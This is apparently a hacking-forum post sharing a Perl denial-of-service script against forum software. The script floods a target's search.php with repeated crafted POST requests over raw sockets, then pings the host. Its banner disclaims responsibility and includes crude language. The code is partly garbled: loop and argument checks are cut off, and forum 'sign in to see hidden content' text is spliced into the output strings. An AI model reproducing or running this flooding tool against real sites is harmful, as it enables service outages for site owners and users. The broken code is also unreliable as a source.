Locked dos.pl # secz0ne.org

[sQuo]

[LENGUAJE=perl]

#!/usr/bin/perl

################################################################

# #

# ____ ___ #

# / ___| ___ ___ ____/ _ \ _ __ ___ ___ ___ _ __ ___ #

# \___ \ / _ \/ __|_ / | | | '_ \ / _ \ / __/ _ \| '_ ` _ \ #

# __ | __/ (__ / /| |_| | | | | __/| (_| (_) | | | | | | #

# |____/ \___|\___/___|\___/|_| |_|\___(_)___\___/|_| |_| |_| #

# #

# #

################################################################

 

use Socket;

if (@ARGV

$rand=rand(10);

$host = $ARGV[0];

$dir = $ARGV[1];

$host =~ s/(http:\/\/)//eg;

for ($i=0; $i

{

$data = "securitytoken=guest&do=process&query=%DB%8C%D8%B3%D8%A8%D9%84%D8%B3%DB%8C%D9%84%D8%B3%DB%8C%D8%A8%D9%84%0%0%0%0%0%0%0%0%0%0&submit.x=0&submit.y=0";

$len = length $data;

$foo = "POST ".$dir."search.php?do=process HTTP/1.1\r\n".

"Accept: * /*\r\n".

"Accept-Language: en-gb\r\n".

"Content-Type: application/x-www-form-urlencoded\r\n".

"Accept-Encoding: gzip, deflate\r\n".

"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".

"Host: $host\r\n".

"Content-Length: $len\r\n".

"Connection: Keep-Alive\r\n".

"Cache-Control: no-cache\r\n\r\n".

"$data";

my $port = "80";

my $proto = getprotobyname('tcp');

socket(SOCKET, PF_INET, SOCK_STREAM, $proto);

connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;

send(SOCKET,"$foo", 0);

syswrite STDOUT, "." ;

}

print "\n\n";

system('ping $host');

sub usage {

print "\n";

print "#######################################################\n";

print "## Denial of Service Vulnerability #\n";

print "## #\n";

print "## DoS By ADMIN & Security secz0ne Team #\n";

print "## Cod scris de Admin #\n";

print "## Site oficial

This is the hidden content, please

• Sign In
• or
• Sign Up

#\n";

print "## IMPORTANT #\n";

print "## Secz0ne.com nu se face vinovat de folosirea #\n";

print "## acestui cod cu intenti rele #\n";

print "##Ma doare in pula daca vine garda si te ia din casa #\n";

print "#######################################################\n";

print "#######################################################\n";

print "## [host] [path] #\n";

print "##

This is the hidden content, please

• Sign In
• or
• Sign Up

/forum/ #\n";

print "#######################################################\n";

print "\n";

exit();

};

 

[/LENGUAJE]